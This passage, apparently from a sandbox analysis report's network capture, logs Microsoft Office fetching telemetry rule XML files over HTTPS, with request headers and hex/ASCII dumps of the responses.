2025-03-13 09:08:10 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 35 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 45 78 63 65 6c 2e 49 6e 73 69 67 68 74 73 53 65 72 76 69 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 45 78 63 65 6c 49 6e 73 69 67 68 74 73 53 65 72 76 69 63 65 73 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703050" V="3" DC="SM" EN="Office.Telemetry.Event.Office.Excel.InsightsServices" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenExcelInsightsServices" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.12	49741	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:12 UTC	199	OUT	GET /rules/rule700951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:13 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:13 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8CC94C0" x-ms-request-id: 46a0cb93-f01e-0099-76f7-939171000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090813Z-16c75594899qslz2hC1MEMm9b800000007z0000000000ava x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:13 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 79 6e 61 6d 69 63 43 61 6e 76 61 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.DynamicCanvas.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantT

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.12	49742	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:12 UTC	199	OUT	GET /rules/rule700950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:13 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:13 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE96D9F3D" x-ms-request-id: 4d4b28fd-201e-005d-7ef7-93afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090813Z-16c75594899zcltzhC1MEM48qn0000000630000000000prb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:13 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 79 6e 61 6d 69 63 43 61 6e 76 61 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 69 6c 64 66 69 72 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.DynamicCanvas" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWildfire" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.12	49744	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:13 UTC	199	OUT	GET /rules/rule703550v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:13 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:13 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3F3631C" x-ms-request-id: 31f0f41a-e01e-000c-2ead-918e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090813Z-16c75594899bpvh5hC1MEM4zp800000005qg000000000qaf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-13 09:08:13 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 75 6d 65 6e 74 58 52 61 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 6f 63 75 6d 65 6e 74 58 52 61 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703550" V="0" DC="SM" EN="Office.Telemetry.Event.Office.DocumentXRay" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDocumentXRay" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.12	49745	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:13 UTC	199	OUT	GET /rules/rule700451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:13 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:13 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF341BCB" x-ms-request-id: 2159e243-901e-008f-1dc9-9167a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090813Z-16c75594899w8g75hC1MEMvwxw0000000c9g0000000017uh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-13 09:08:13 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 6f 63 73 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Docs.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDocs"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.12	49743	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:13 UTC	199	OUT	GET /rules/rule703551v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:13 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:13 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE572292" x-ms-request-id: ec6d2f5c-e01e-0020-03f7-93de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090813Z-16c75594899xnsgjhC1MEMq9200000000ae0000000000mpk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:13 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 75 6d 65 6e 74 58 52 61 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703551" V="0" DC="SM" EN="Office.Telemetry.Event.Office.DocumentXRay.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.12	49747	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:15 UTC	199	OUT	GET /rules/rule702700v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:16 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:16 GMT Content-Type: text/xml Content-Length: 1367 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBBC4213" x-ms-request-id: 5cb57c66-a01e-0053-64f7-938603000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090815Z-16c755948994p6rthC1MEMk27s0000000bx0000000001e45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:16 UTC	1367	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 73 2e 41 70 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 6f 63 73 41 70 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702700" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Docs.Apple" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDocsApple" S="Medium" /> <F T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.12	49746	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:15 UTC	199	OUT	GET /rules/rule702701v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:16 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:16 GMT Content-Type: text/xml Content-Length: 1404 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD76594E" x-ms-request-id: 6e190b69-b01e-0084-22f7-93d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090815Z-16c755948994p6rthC1MEMk27s0000000btg000000002k4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:16 UTC	1404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 73 2e 41 70 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702701" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Docs.Apple.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.12	49748	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:15 UTC	199	OUT	GET /rules/rule700450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:16 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:16 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE57CD3FB" x-ms-request-id: d79f2e3c-001e-00a2-36f7-93d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090816Z-16c755948992kfjqhC1MEM16f800000007bg000000000xn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:16 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 6f 63 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Docs" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDocs" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.12	49750	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:15 UTC	199	OUT	GET /rules/rule701900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:16 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:16 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE44A7711" x-ms-request-id: 7a2173da-801e-00a0-75f7-932196000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090816Z-16c75594899kfxz8hC1MEMp6tc0000000920000000001wk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:16 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 69 61 67 6e 6f 73 74 69 63 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 69 61 67 6e 6f 73 74 69 63 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Diagnostics" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDiagnostics" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.12	49749	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:15 UTC	199	OUT	GET /rules/rule701901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:16 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:16 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE60DB429" x-ms-request-id: ef5db35b-b01e-003d-75c9-91d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090816Z-16c75594899zcltzhC1MEM48qn0000000640000000000eaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-13 09:08:16 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 69 61 67 6e 6f 73 74 69 63 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Diagnostics.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.12	49751	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:18 UTC	199	OUT	GET /rules/rule704001v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:19 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:19 GMT Content-Type: text/xml Content-Length: 1419 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC4EF80" x-ms-request-id: 3b59d152-b01e-0070-66f7-931cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090818Z-16c75594899zcltzhC1MEM48qn0000000600000000001dny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:19 UTC	1419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 30 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 69 61 67 6e 6f 73 74 69 63 73 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704001" V="0" DC="SM" EN="Office.Telemetry.Event.Office.DiagnosticsSystem.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTen

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.12	49752	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
